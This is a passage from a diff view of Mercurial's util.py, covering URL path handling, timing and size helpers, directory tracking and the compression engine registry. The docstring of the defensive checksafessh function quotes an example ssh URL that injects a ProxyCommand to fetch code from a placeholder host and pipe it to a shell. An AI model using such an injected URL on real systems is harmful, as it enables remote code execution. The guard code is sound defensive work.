2976 2980 return (s, (None, (s, self.host),
2977 2981 self.user, self.passwd or ''))
2978 2982
2979 2983 def isabs(self):
2980 2984 if self.scheme and self.scheme != 'file':
2981 2985 return True # remote URL
2982 2986 if hasdriveletter(self.path):
2983 2987 return True # absolute for our purposes - can't be joined()
2984 2988 if self.path.startswith(br'\\'):
2985 2989 return True # Windows UNC path
2986 2990 if self.path.startswith('/'):
2987 2991 return True # POSIX-style
2988 2992 return False
2989 2993
2990 2994 def localpath(self):
2991 2995 if self.scheme == 'file' or self.scheme == 'bundle':
2992 2996 path = self.path or '/'
2993 2997 # For Windows, we need to promote hosts containing drive
2994 2998 # letters to paths with drive letters.
2995 2999 if hasdriveletter(self._hostport):
2996 3000 path = self._hostport + '/' + self.path
2997 3001 elif (self.host is not None and self.path
2998 3002 and not hasdriveletter(path)):
2999 3003 path = '/' + path
3000 3004 return path
3001 3005 return self._origpath
3002 3006
3003 3007 def islocal(self):
3004 3008 '''whether localpath will return something that posixfile can open'''
3005 3009 return (not self.scheme or self.scheme == 'file'
3006 3010 or self.scheme == 'bundle')
3007 3011
3008 3012 def hasscheme(path):
3009 3013 return bool(url(path).scheme)
3010 3014
3011 3015 def hasdriveletter(path):
3012 3016 return path and path[1:2] == ':' and path[0:1].isalpha()
3013 3017
3014 3018 def urllocalpath(path):
3015 3019 return url(path, parsequery=False, parsefragment=False).localpath()
3016 3020
3017 3021 def checksafessh(path):
3018 3022 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3019 3023
3020 3024 This is a sanity check for ssh urls. ssh will parse the first item as
3021 3025 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3022 3026 Let's prevent these potentially exploited urls entirely and warn the
3023 3027 user.
3024 3028
3025 3029 Raises an error.Abort when the url is unsafe.
3026 3030 """
3027 3031 path = urlreq.unquote(path)
3028 3032 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3029 3033 raise error.Abort(_('potentially unsafe url: %r') %
3030 3034 (path,))
3031 3035
3032 3036 def hidepassword(u):
3033 3037 '''hide user credential in a url string'''
3034 3038 u = url(u)
3035 3039 if u.passwd:
3036 3040 u.passwd = '***'
3037 3041 return bytes(u)
3038 3042
3039 3043 def removeauth(u):
3040 3044 '''remove all authentication information from a url string'''
3041 3045 u = url(u)
3042 3046 u.user = u.passwd = None
3043 3047 return str(u)
3044 3048
3045 3049 timecount = unitcountfn(
3046 3050 (1, 1e3, _('%.0f s')),
3047 3051 (100, 1, _('%.1f s')),
3048 3052 (10, 1, _('%.2f s')),
3049 3053 (1, 1, _('%.3f s')),
3050 3054 (100, 0.001, _('%.1f ms')),
3051 3055 (10, 0.001, _('%.2f ms')),
3052 3056 (1, 0.001, _('%.3f ms')),
3053 3057 (100, 0.000001, _('%.1f us')),
3054 3058 (10, 0.000001, _('%.2f us')),
3055 3059 (1, 0.000001, _('%.3f us')),
3056 3060 (100, 0.000000001, _('%.1f ns')),
3057 3061 (10, 0.000000001, _('%.2f ns')),
3058 3062 (1, 0.000000001, _('%.3f ns')),
3059 3063 )
3060 3064
3061 3065 _timenesting = [0]
3062 3066
3063 3067 def timed(func):
3064 3068 '''Report the execution time of a function call to stderr.
3065 3069
3066 3070 During development, use as a decorator when you need to measure
3067 3071 the cost of a function, e.g. as follows:
3068 3072
3069 3073 @util.timed
3070 3074 def foo(a, b, c):
3071 3075 pass
3072 3076 '''
3073 3077
3074 3078 def wrapper(*args, **kwargs):
3075 3079 start = timer()
3076 3080 indent = 2
3077 3081 _timenesting[0] += indent
3078 3082 try:
3079 3083 return func(*args, **kwargs)
3080 3084 finally:
3081 3085 elapsed = timer() - start
3082 3086 _timenesting[0] -= indent
3083 3087 stderr.write('%s%s: %s\n' %
3084 3088 (' ' * _timenesting[0], func.__name__,
3085 3089 timecount(elapsed)))
3086 3090 return wrapper
3087 3091
3088 3092 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3089 3093 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3090 3094
3091 3095 def sizetoint(s):
3092 3096 '''Convert a space specifier to a byte count.
3093 3097
3094 3098 >>> sizetoint(b'30')
3095 3099 30
3096 3100 >>> sizetoint(b'2.2kb')
3097 3101 2252
3098 3102 >>> sizetoint(b'6M')
3099 3103 6291456
3100 3104 '''
3101 3105 t = s.strip().lower()
3102 3106 try:
3103 3107 for k, u in _sizeunits:
3104 3108 if t.endswith(k):
3105 3109 return int(float(t[:-len(k)]) * u)
3106 3110 return int(t)
3107 3111 except ValueError:
3108 3112 raise error.ParseError(_("couldn't parse size: %s") % s)
3109 3113
3110 3114 class hooks(object):
3111 3115 '''A collection of hook functions that can be used to extend a
3112 3116 function's behavior. Hooks are called in lexicographic order,
3113 3117 based on the names of their sources.'''
3114 3118
3115 3119 def __init__(self):
3116 3120 self._hooks = []
3117 3121
3118 3122 def add(self, source, hook):
3119 3123 self._hooks.append((source, hook))
3120 3124
3121 3125 def __call__(self, *args):
3122 3126 self._hooks.sort(key=lambda x: x[0])
3123 3127 results = []
3124 3128 for source, hook in self._hooks:
3125 3129 results.append(hook(*args))
3126 3130 return results
3127 3131
3128 3132 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%s', depth=0):
3129 3133 '''Yields lines for a nicely formatted stacktrace.
3130 3134 Skips the 'skip' last entries, then return the last 'depth' entries.
3131 3135 Each file+linenumber is formatted according to fileline.
3132 3136 Each line is formatted according to line.
3133 3137 If line is None, it yields:
3134 3138 length of longest filepath+line number,
3135 3139 filepath+linenumber,
3136 3140 function
3137 3141
3138 3142 Not be used in production code but very convenient while developing.
3139 3143 '''
3140 3144 entries = [(fileline % (fn, ln), func)
3141 3145 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3142 3146 ][-depth:]
3143 3147 if entries:
3144 3148 fnmax = max(len(entry[0]) for entry in entries)
3145 3149 for fnln, func in entries:
3146 3150 if line is None:
3147 3151 yield (fnmax, fnln, func)
3148 3152 else:
3149 3153 yield line % (fnmax, fnln, func)
3150 3154
3151 3155 def debugstacktrace(msg='stacktrace', skip=0,
3152 3156 f=stderr, otherf=stdout, depth=0):
3153 3157 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3154 3158 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3155 3159 By default it will flush stdout first.
3156 3160 It can be used everywhere and intentionally does not require an ui object.
3157 3161 Not be used in production code but very convenient while developing.
3158 3162 '''
3159 3163 if otherf:
3160 3164 otherf.flush()
3161 3165 f.write('%s at:\n' % msg.rstrip())
3162 3166 for line in getstackframes(skip + 1, depth=depth):
3163 3167 f.write(line)
3164 3168 f.flush()
3165 3169
3166 3170 class dirs(object):
3167 3171 '''a multiset of directory names from a dirstate or manifest'''
3168 3172
3169 3173 def __init__(self, map, skip=None):
3170 3174 self._dirs = {}
3171 3175 addpath = self.addpath
3172 3176 if safehasattr(map, 'iteritems') and skip is not None:
3173 3177 for f, s in map.iteritems():
3174 3178 if s[0] != skip:
3175 3179 addpath(f)
3176 3180 else:
3177 3181 for f in map:
3178 3182 addpath(f)
3179 3183
3180 3184 def addpath(self, path):
3181 3185 dirs = self._dirs
3182 3186 for base in finddirs(path):
3183 3187 if base in dirs:
3184 3188 dirs[base] += 1
3185 3189 return
3186 3190 dirs[base] = 1
3187 3191
3188 3192 def delpath(self, path):
3189 3193 dirs = self._dirs
3190 3194 for base in finddirs(path):
3191 3195 if dirs[base] > 1:
3192 3196 dirs[base] -= 1
3193 3197 return
3194 3198 del dirs[base]
3195 3199
3196 3200 def __iter__(self):
3197 3201 return iter(self._dirs)
3198 3202
3199 3203 def __contains__(self, d):
3200 3204 return d in self._dirs
3201 3205
3202 3206 if safehasattr(parsers, 'dirs'):
3203 3207 dirs = parsers.dirs
3204 3208
3205 3209 def finddirs(path):
3206 3210 pos = path.rfind('/')
3207 3211 while pos != -1:
3208 3212 yield path[:pos]
3209 3213 pos = path.rfind('/', 0, pos)
3210 3214
3211 3215 # compression code
3212 3216
3213 3217 SERVERROLE = 'server'
3214 3218 CLIENTROLE = 'client'
3215 3219
3216 3220 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3217 3221 (u'name', u'serverpriority',
3218 3222 u'clientpriority'))
3219 3223
3220 3224 class compressormanager(object):
3221 3225 """Holds registrations of various compression engines.
3222 3226
3223 3227 This class essentially abstracts the differences between compression
3224 3228 engines to allow new compression formats to be added easily, possibly from
3225 3229 extensions.
3226 3230
3227 3231 Compressors are registered against the global instance by calling its
3228 3232 ``register()`` method.
3229 3233 """
3230 3234 def __init__(self):
3231 3235 self._engines = {}
3232 3236 # Bundle spec human name to engine name.
3233 3237 self._bundlenames = {}
3234 3238 # Internal bundle identifier to engine name.
3235 3239 self._bundletypes = {}
3236 3240 # Revlog header to engine name.
3237 3241 self._revlogheaders = {}
3238 3242 # Wire proto identifier to engine name.
3239 3243 self._wiretypes = {}
3240 3244
3241 3245 def __getitem__(self, key):
3242 3246 return self._engines[key]
3243 3247
3244 3248 def __contains__(self, key):
3245 3249 return key in self._engines
3246 3250
3247 3251 def __iter__(self):
3248 3252 return iter(self._engines.keys())
3249 3253
3250 3254 def register(self, engine):
3251 3255 """Register a compression engine with the manager.
3252 3256
3253 3257 The argument must be a ``compressionengine`` instance.
3254 3258 """
3255 3259 if not isinstance(engine, compressionengine):
3256 3260 raise ValueError(_('argument must be a compressionengine'))
3257 3261
3258 3262 name = engine.name()
3259 3263
3260 3264 if name in self._engines:
3261 3265 raise error.Abort(_('compression engine %s already registered') %
3262 3266 name)
3263 3267
3264 3268 bundleinfo = engine.bundletype()
3265 3269 if bundleinfo:
3266 3270 bundlename, bundletype = bundleinfo
3267 3271
3268 3272 if bundlename in self._bundlenames:
3269 3273 raise error.Abort(_('bundle name %s already registered') %
3270 3274 bundlename)
3271 3275 if bundletype in self._bundletypes:
3272 3276 raise error.Abort(_('bundle type %s already registered by %s') %
3273 3277 (bundletype, self._bundletypes[bundletype]))
3274 3278
3275 3279 # No external facing name declared.
3276 3280 if bundlename:
3277 3281 self._bundlenames[bundlename] = name
3278 3282
3279 3283 self._bundletypes[bundletype] = name
3280 3284
3281 3285 wiresupport = engine.wireprotosupport()
3282 3286 if wiresupport:
3283 3287 wiretype = wiresupport.name
3284 3288 if wiretype in self._wiretypes:
3285 3289 raise error.Abort(_('wire protocol compression %s already '
3286 3290 'registered by %s') %
3287 3291 (wiretype, self._wiretypes[wiretype]))
3288 3292
3289 3293 self._wiretypes[wiretype] = name
3290 3294
3291 3295 revlogheader = engine.revlogheader()
3292 3296 if revlogheader and revlogheader in self._revlogheaders:
3293 3297 raise error.Abort(_('revlog header %s already registered by %s') %
3294 3298 (revlogheader, self._revlogheaders[revlogheader]))
3295 3299
3296 3300 if revlogheader:
3297 3301 self._revlogheaders[revlogheader] = name
3298 3302
3299 3303 self._engines[name] = engine
3300 3304
3301 3305 @property
3302 3306 def supportedbundlenames(self):
3303 3307 return set(self._bundlenames.keys())
3304 3308
3305 3309 @property
3306 3310 def supportedbundletypes(self):
3307 3311 return set(self._bundletypes.keys())
3308 3312
3309 3313 def forbundlename(self, bundlename):
3310 3314 """Obtain a compression engine registered to a bundle name.
3311 3315
3312 3316 Will raise KeyError if the bundle type isn't registered.
3313 3317
3314 3318 Will abort if the engine is known but not available.
3315 3319 """
3316 3320 engine = self._engines[self._bundlenames[bundlename]]
3317 3321 if not engine.available():
3318 3322 raise error.Abort(_('compression engine %s could not be loaded') %
3319 3323 engine.name())
3320 3324 return engine
3321 3325
3322 3326 def forbundletype(self, bundletype):
3323 3327 """Obtain a compression engine registered to a bundle type.
3324 3328
3325 3329 Will raise KeyError if the bundle type isn't registered.
3326 3330
3327 3331 Will abort if the engine is known but not available.
3328 3332 """
3329 3333 engine = self._engines[self._bundletypes[bundletype]]
3330 3334 if not engine.available():
3331 3335 raise error.Abort(_('compression engine %s could not be loaded') %
3332 3336 engine.name())
3333 3337 return engine
3334 3338
3335 3339 def supportedwireengines(self, role, onlyavailable=True):
3336 3340 """Obtain compression engines that support the wire protocol.
3337 3341
3338 3342 Returns a list of engines in prioritized order, most desired first.
3339 3343
3340 3344 If ``onlyavailable`` is set, filter out engines that can't be
3341 3345 loaded.
3342 3346 """
3343 3347 assert role in (SERVERROLE, CLIENTROLE)
3344 3348
3345 3349 attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
3346 3350
3347 3351 engines = [self._engines[e] for e in self._wiretypes.values()]
3348 3352 if onlyavailable:
3349 3353 engines = [e for e in engines if e.available()]
3350 3354
3351 3355 def getkey(e):
3352 3356 # Sort first by priority, highest first. In case of tie, sort
3353 3357 # alphabetically. This is arbitrary, but ensures output is
3354 3358 # stable.
3355 3359 w = e.wireprotosupport()
3356 3360 return -1 * getattr(w, attr), w.name
3357 3361
3358 3362 return list(sorted(engines, key=getkey))
3359 3363
3360 3364 def forwiretype(self, wiretype):
3361 3365 engine = self._engines[self._wiretypes[wiretype]]
3362 3366 if not engine.available():
3363 3367 raise error.Abort(_('compression engine %s could not be loaded') %
3364 3368 engine.name())
3365 3369 return engine
3366 3370
3367 3371 def forrevlogheader(self, header):
3368 3372 """Obtain a compression engine registered to a revlog header.
3369 3373
3370 3374 Will raise KeyError if the revlog header value isn't registered.
3371 3375 """
3372 3376 return self._engines[self._revlogheaders[header]]
3373 3377
3374 3378 compengines = compressormanager()
3375 3379
3376 3380 class compressionengine(object):
3377 3381 """Base class for compression engines.
3378 3382
3379 3383 Compression engines must implement the interface defined by this class.
3380 3384 """
3381 3385 def name(self):
3382 3386 """Returns the name of the compression engine.
3383 3387
3384 3388 This is the key the engine is registered under.
3385 3389
3386 3390 This method must be implemented.
3387 3391 """
3388 3392 raise NotImplementedError()
3389 3393
3390 3394 def available(self):
3391 3395 """Whether the compression engine is available.
3392 3396
3393 3397 The intent of this method is to allow optional compression engines
3394 3398 that may not be available in all installations (such as engines relying
3395 3399 on C extensions that may not be present).
3396 3400 """
3397 3401 return True
3398 3402
3399 3403 def bundletype(self):
3400 3404 """Describes bundle identifiers for this engine.
3401 3405
3402 3406 If this compression engine isn't supported for bundles, returns None.
3403 3407
3404 3408 If this engine can be used for bundles, returns a 2-tuple of strings of
3405 3409 the user-facing "bundle spec" compression name and an internal
3406 3410 identifier used to denote the compression format within bundles. To
3407 3411 exclude the name from external usage, set the first element to ``None``.
3408 3412
3409 3413 If bundle compression is supported, the class must also implement
3410 3414 ``compressstream`` and `decompressorreader``.
3411 3415
3412 3416 The docstring of this method is used in the help system to tell users
3413 3417 about this engine.
3414 3418 """
3415 3419 return None
3416 3420
3417 3421 def wireprotosupport(self):
3418 3422 """Declare support for this compression format on the wire protocol.
3419 3423
3420 3424 If this compression engine isn't supported for compressing wire
3421 3425 protocol payloads, returns None.
3422 3426
3423 3427 Otherwise, returns ``compenginewireprotosupport`` with the following
3424 3428 fields:
3425 3429
3426 3430 * String format identifier
3427 3431 * Integer priority for the server
3428 3432 * Integer priority for the client
3429 3433
3430 3434 The integer priorities are used to order the advertisement of format
3431 3435 support by server and client. The highest integer is advertised
3432 3436 first. Integers with non-positive values aren't advertised.
3433 3437
3434 3438 The priority values are somewhat arbitrary and only used for default
3435 3439 ordering. The relative order can be changed via config options.
3436 3440
3437 3441 If wire protocol compression is supported, the class must also implement
3438 3442 ``compressstream`` and ``decompressorreader``.
3439 3443 """
3440 3444 return None
3441 3445
3442 3446 def revlogheader(self):
3443 3447 """Header added to revlog chunks that identifies this engine.
3444 3448
3445 3449 If this engine can be used to compress revlogs, this method should
3446 3450 return the bytes used to identify chunks compressed with this engine.
3447 3451 Else, the method should return ``None`` to indicate it does not
3448 3452 participate in revlog compression.
3449 3453 """
3450 3454 return None
3451 3455
3452 3456 def compressstream(self, it, opts=None):
3453 3457 """Compress an iterator of chunks.
3454 3458
3455 3459 The method receives an iterator (ideally a generator) of chunks of
3456 3460 bytes to be compressed. It returns an iterator (ideally a generator)
3457 3461 of bytes of chunks representing the compressed output.
3458 3462
3459 3463 Optionally accepts an argument defining how to perform compression.
3460 3464 Each engine treats this argument differently.
3461 3465 """
3462 3466 raise NotImplementedError()
3463 3467
3464 3468 def decompressorreader(self, fh):
3465 3469 """Perform decompression on a file object.
3466 3470
3467 3471 Argument is an object with a ``read(size)`` method that returns
3468 3472 compressed data. Return value is an object with a ``read(size)`` that
3469 3473 returns uncompressed data.
3470 3474 """
3471 3475 raise NotImplementedError()
3472 3476
3473 3477 def revlogcompressor(self, opts=None):
3474 3478 """Obtain an object that can be used to compress revlog entries.
3475 3479
3476 3480 The object has a ``compress(data)`` method that compresses binary
3477 3481 data. This method returns compressed binary data or ``None`` if
3478 3482 the data could not be compressed (too small, not compressible, etc).
3479 3483 The returned data should have a header uniquely identifying this
3480 3484 compression format so decompression can be routed to this engine.
3481 3485 This header should be identified by the ``revlogheader()`` return
3482 3486 value.
3483 3487
3484 3488 The object has a ``decompress(data)`` method that decompresses
3485 3489 data. The method will only be called if ``data`` begins with
3486 3490 ``revlogheader()``. The method should return the raw, uncompressed
3487 3491 data or raise a ``RevlogError``.
3488 3492
3489 3493 The object is reusable but is not thread safe.
3490 3494 """
3491 3495 raise NotImplementedError()
3492 3496
3493 3497 class _zlibengine(compressionengine):
3494 3498 def name(self):
3495 3499 return 'zlib'
3496 3500
3497 3501 def bundletype(self):
3498 3502 """zlib compression using the DEFLATE algorithm.
3499 3503
3500 3504 All Mercurial clients should support this format. The compression
3501 3505 algorithm strikes a reasonable balance between compression ratio
3502 3506 and size.
3503 3507 """
3504 3508 return 'gzip', 'GZ'
3505 3509
3506 3510 def wireprotosupport(self):
3507 3511 return compewireprotosupport('zlib', 20, 20)
3508 3512
3509 3513 def revlogheader(self):
3510 3514 return 'x'
3511 3515
3512 3516 def compressstream(self, it, opts=None):
3513 3517 opts = opts or {}
3514 3518
3515 3519 z = zlib.compressobj(opts.get('level', -1))
3516 3520 for chunk in it:
3517 3521 data = z.compress(chunk)
3518 3522 # Not all calls to compress emit data. It is cheaper to inspect
3519 3523 # here than to feed empty chunks through generator.
3520 3524 if data:
3521 3525 yield data
3522 3526
3523 3527 yield z.flush()
3524 3528
3525 3529 def decompressorreader(self, fh):
3526 3530 def gen():
3527 3531 d = zlib.decompressobj()
3528 3532 for chunk in filechunkiter(fh):
3529 3533 while chunk:
3530 3534 # Limit output size to limit memory.
3531 3535 yield d.decompress(chunk, 2 ** 18)
3532 3536 chunk = d.unconsumed_tail
3533 3537
3534 3538 return chunkbuffer(gen())
3535 3539
3536 3540 class zlibrevlogcompressor(object):
3537 3541 def compress(self, data):
3538 3542 insize = len(data)
3539 3543 # Caller handles empty input case.
3540 3544 assert insize > 0
3541 3545
3542 3546 if insize < 44:
3543 3547 return None
3544 3548
3545 3549 elif insize <= 1000000:
3546 3550 compressed = zlib.compress(data)
3547 3551 if len(compressed) < insize:
3548 3552 return compressed
3549 3553 return None
3550 3554
3551 3555 # zlib makes an internal copy of the input buffer, doubling
3552 3556 # memory usage for large inputs. So do streaming compression
3553 3557 # on large inputs.
3554 3558 else:
3555 3559 z = zlib.compressobj()
3556 3560 parts = []
3557 3561 pos = 0
3558 3562 while pos < insize:
3559 3563 pos2 = pos + 2**20
3560 3564 parts.append(z.compress(data[pos:pos2]))
3561 3565 pos = pos2
3562 3566 parts.append(z.flush())
3563 3567
3564 3568 if sum(map(len, parts)) < insize:
3565 3569 return ''.join(parts)
3566 3570 return None
3567 3571
3568 3572 def decompress(self, data):
3569 3573 try:
3570 3574 return zlib.decompress(data)
3571 3575 except zlib.error as e:
3572 3576 raise error.RevlogError(_('revlog decompress error: %s') %
3573 3577 str(e))
3574 3578
3575 3579 def revlogcompressor(self, opts=None):
3576 3580 return self.zlibrevlogcompressor()
3577 3581
3578 3582 compengines.register(_zlibengine())
3579 3583
3580 3584 class _bz2engine(compressionengine):
3581 3585 def name(self):
3582 3586 return 'bz2'
3583 3587
3584 3588 def bundletype(self):
3585 3589 """An algorithm that produces smaller bundles than ``gzip``.
3586 3590
3587 3591 All Mercurial clients should support this format.
3588 3592
3589 3593 This engine will likely produce smaller bundles than ``gzip`` but
3590 3594 will be significantly slower, both during compression and
3591 3595 decompression.
3592 3596
3593 3597 If available, the ``zstd`` engine can yield similar or better
3594 3598 compression at much higher speeds.
3595 3599 """
3596 3600 return 'bzip2', 'BZ'
3597 3601
3598 3602 # We declare a protocol name but don't advertise by default because
3599 3603 # it is slow.
3600 3604 def wireprotosupport(self):
3601 3605 return compewireprotosupport('bzip2', 0, 0)
3602 3606
3603 3607 def compressstream(self, it, opts=None):
3604 3608 opts = opts or {}
3605 3609 z = bz2.BZ2Compressor(opts.get('level', 9))
3606 3610 for chunk in it:
3607 3611 data = z.compress(chunk)
3608 3612 if data:
3609 3613 yield data
3610 3614
3611 3615 yield z.flush()
3612 3616
3613 3617 def decompressorreader(self, fh):
3614 3618 def gen():
3615 3619 d = bz2.BZ2Decompressor()
3616 3620 for chunk in filechunkiter(fh):
3617 3621 yield d.decompress(chunk)
3618 3622
3619 3623 return chunkbuffer(gen())
3620 3624
3621 3625 compengines.register(_bz2engine())
3622 3626
3623 3627 class _truncatedbz2engine(compressionengine):
3624 3628 def name(self):
3625 3629 return 'bz2truncated'
3626 3630
3627 3631 def bundletype(self):
3628 3632 return None, '_truncatedBZ'
3629 3633
3630 3634 # We don't implement compressstream because it is hackily handled elsewhere.
3631 3635
3632 3636 def decompressorreader(self, fh):
3633 3637 def gen():
3634 3638 # The input stream doesn't have the 'BZ' header. So add it back.
3635 3639 d = bz2.BZ2Decompressor()
3636 3640 d.decompress('BZ')
3637 3641 for chunk in filechunkiter(fh):
3638 3642 yield d.decompress(chunk)
3639 3643
3640 3644 return chunkbuffer(gen())
3641 3645
3642 3646 compengines.register(_truncatedbz2engine())
3643 3647
3644 3648 class _noopengine(compressionengine):
3645 3649 def name(self):
3646 3650 return 'none'
3647 3651
3648 3652 def bundletype(self):
3649 3653 """No compression is performed.
3650 3654
3651 3655 Use this compression engine to explicitly disable compression.
3652 3656 """
3653 3657 return 'none', 'UN'
3654 3658
3655 3659 # Clients always support uncompressed payloads. Servers don't because
3656 3660 # unless you are on a fast network, uncompressed payloads can easily
3657 3661 # saturate your network pipe.
3658 3662 def wireprotosupport(self):
3659 3663 return compewireprotosupport('none', 0, 10)
3660 3664
3661 3665 # We don't implement revlogheader because it is handled specially
3662 3666 # in the revlog class.
3663 3667
3664 3668 def compressstream(self, it, opts=None):
3665 3669 return it
3666 3670
3667 3671 def decompressorreader(self, fh):
3668 3672 return fh
3669 3673
3670 3674 class nooprevlogcompressor(object):
3671 3675 def compress(self, data):
3672 3676 return None
3673 3677
3674 3678 def revlogcompressor(self, opts=None):
3675 3679 return self.nooprevlogcompressor()
3676 3680
3677 3681 compengines.register(_noopengine())
3678 3682
3679 3683 class _zstdengine(compressionengine):
3680 3684 def name(self):
3681 3685 return 'zstd'
3682 3686
3683 3687 @propertycache
3684 3688 def _module(self):
3685 3689 # Not all installs have the zstd module available. So defer importing
3686 3690 # until first access.
3687 3691 try:
3688 3692 from . import zstd
3689 3693 # Force delayed import.
3690 3694 zstd.__version__
3691 3695 return zstd
3692 3696 except ImportError:
3693 3697 return None
3694 3698
3695 3699 def available(self):
3696 3700 return bool(self._module)
3697 3701
3698 3702 def bundletype(self):
3699 3703 """A modern compression algorithm that is fast and highly flexible.
3700 3704
3701 3705 Only supported by Mercurial 4.1 and newer clients.
3702 3706
3703 3707 With the default settings, zstd compression is both faster and yields
3704 3708 better compression than ``gzip``. It also frequently yields better
3705 3709 compression than ``bzip2`` while operating at much higher speeds.
3706 3710
3707 3711 If this engine is available and backwards compatibility is not a
3708 3712 concern, it is likely the best available engine.
3709 3713 """
3710 3714 return 'zstd', 'ZS'
3711 3715
3712 3716 def wireprotosupport(self):
3713 3717 return compewireprotosupport('zstd', 50, 50)
3714 3718
3715 3719 def revlogheader(self):
3716 3720 return '\x28'
3717 3721
3718 3722 def compressstream(self, it, opts=None):
3719 3723 opts = opts or {}
3720 3724 # zstd level 3 is almost always significantly faster than zlib
3721 3725 # while providing no worse compression. It strikes a good balance
3722 3726 # between speed and compression.
3723 3727 level = opts.get('level', 3)
3724 3728
3725 3729 zstd = self._module
3726 3730 z = zstd.ZstdCompressor(level=level).compressobj()
3727 3731 for chunk in it:
3728 3732 data = z.compress(chunk)
3729 3733 if data:
3730 3734 yield data
3731 3735
3732 3736 yield z.flush()
3733 3737
3734 3738 def decompressorreader(self, fh):
3735 3739 zstd = self._module
3736 3740 dctx = zstd.ZstdDecompressor()
3737 3741 return chunkbuffer(dctx.read_from(fh))
3738 3742
3739 3743 class zstdrevlogcompressor(object):
3740 3744 def __init__(self, zstd, level=3):
3741 3745 # Writing the content size adds a few bytes to the output. However,
3742 3746 # it allows decompression to be more optimal since we can
3743 3747 # pre-allocate a buffer to hold the result.
3744 3748 self._cctx = zstd.ZstdCompressor(level=level,
3745 3749 write_content_size=True)
3746 3750 self._dctx = zstd.ZstdDecompressor()
3747 3751 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3748 3752 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3749 3753
3750 3754 def compress(self, data):
3751 3755 insize = len(data)
3752 3756 # Caller handles empty input case.
3753 3757 assert insize > 0
3754 3758
3755 3759 if insize < 50:
3756 3760 return None
3757 3761
3758 3762 elif insize <= 1000000:
3759 3763 compressed = self._cctx.compress(data)
3760 3764 if len(compressed) < insize:
3761 3765 return compressed
3762 3766 return None
3763 3767 else:
3764 3768 z = self._cctx.compressobj()
3765 3769 chunks = []
3766 3770 pos = 0
3767 3771 while pos < insize:
3768 3772 pos2 = pos + self._compinsize
3769 3773 chunk = z.compress(data[pos:pos2])
3770 3774 if chunk:
3771 3775 chunks.append(chunk)
3772 3776 pos = pos2
3773 3777 chunks.append(z.flush())
3774 3778
3775 3779 if sum(map(len, chunks)) < insize:
3776 3780 return ''.join(chunks)
3777 3781 return None
3778 3782
3779 3783 def decompress(self, data):
3780 3784 insize = len(data)
3781 3785
3782 3786 try:
3783 3787 # This was measured to be faster than other streaming
3784 3788 # decompressors.
3785 3789 dobj = self._dctx.decompressobj()
3786 3790 chunks = []
3787 3791 pos = 0
3788 3792 while pos < insize:
3789 3793 pos2 = pos + self._decompinsize
3790 3794 chunk = dobj.decompress(data[pos:pos2])
3791 3795 if chunk:
3792 3796 chunks.append(chunk)
3793 3797 pos = pos2
3794 3798 # Frame should be exhausted, so no finish() API.
3795 3799
3796 3800 return ''.join(chunks)
3797 3801 except Exception as e:
3798 3802 raise error.RevlogError(_('revlog decompress error: %s') %
3799 3803 str(e))
3800 3804
3801 3805 def revlogcompressor(self, opts=None):
3802 3806 opts = opts or {}
3803 3807 return self.zstdrevlogcompressor(self._module,
3804 3808 level=opts.get('level', 3))
3805 3809
3806 3810 compengines.register(_zstdengine())
3807 3811
3808 3812 def bundlecompressiontopics():
3809 3813 """Obtains a list of available bundle compressions for use in help."""
3810 3814 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3811 3815 items = {}
3812 3816
3813 3817 # We need to format the docstring. So use a dummy object/type to hold it
3814 3818 # rather than mutating the original.
3815 3819 class docobject(object):
3816 3820 pass
3817 3821
3818 3822 for name in compengines:
3819 3823 engine = compengines[name]
3820 3824
3821 3825 if not engine.available():
3822 3826 continue
3823 3827
3824 3828 bt = engine.bundletype()
3825 3829 if not bt or not bt[0]:
3826 3830 continue
3827 3831
3828 3832 doc = pycompat.sysstr('``%s``\n %s') % (
3829 3833 bt[0], engine.bundletype.__doc__)
3830 3834
3831 3835 value = docobject()
3832 3836 value.__doc__ = doc
3833 3837 value._origdoc = engine.bundletype.__doc__
3834 3838 value._origfunc = engine.bundletype
3835 3839
3836 3840 items[bt[0]] = value
3837 3841
3838 3842 return items
3839 3843
3840 3844 i18nfunctions = bundlecompressiontopics().values()
3841 3845
3842 3846 # convenient shortcut
3843 3847 dst = debugstacktrace
3844 3848
3845 3849 def safename(f, tag, ctx, others=None):
3846 3850 """
3847 3851 Generate a name that it is safe to rename f to in the given context.
3848 3852
3849 3853 f: filename to rename
3850 3854 tag: a string tag that will be included in the new name
3851 3855 ctx: a context, in which the new name must not exist
3852 3856 others: a set of other filenames that the new name must not be in
3853 3857
3854 3858 Returns a file name of the form oldname~tag[~number] which does not exist
3855 3859 in the provided context and is not in the set of other names.
3856 3860 """
3857 3861 if others is None:
3858 3862 others = set()
3859 3863
3860 3864 fn = '%s~%s' % (f, tag)
3861 3865 if fn not in ctx and fn not in others:
3862 3866 return fn
3863 3867 for n in itertools.count(1):
3864 3868 fn = '%s~%s~%s' % (f, tag, n)
3865 3869 if fn not in ctx and fn not in others:
3866 3870 return fn
General Comments 0
You need to be logged in to leave comments. Login now